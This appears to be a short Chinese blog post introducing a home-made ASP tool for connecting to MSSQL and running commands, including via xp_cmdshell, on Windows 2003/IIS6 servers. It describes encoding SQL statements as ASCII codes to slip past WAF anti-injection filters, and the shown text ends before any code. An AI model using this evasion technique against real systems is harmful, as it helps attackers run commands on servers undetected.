之前自己网上找各种方法拼拼凑凑出来的一个脚本，目的是在asp环境下连接mssql并执行命令。
因为不是webshell所以不用考虑过狗不过狗，过不过WAF，安全狗之类的WAF是不会杀的。但我们要执行sql语句，势必要传递sql语句，传递sql语句的过程中可能被狗的防注入机制拦截（所谓的误杀），所以我又做了一个编码传递的方式，将待执行的SQL语句编码成ascii码再传递，这样就不会被WAF误杀了。
程序的界面就是这样，简洁干净：
如上图，执行结果用表格的形式显示出来。
执行xp_cmdshell的效果如图：
我一向是个不支持低版本浏览器的，所以我也没用低版本浏览器做测试，我只保证在chrome、firefox下可用。
服务端我测试的环境是windows2003 + IIS6 + MSSQL 2005，其他环境自测。
代码如下：
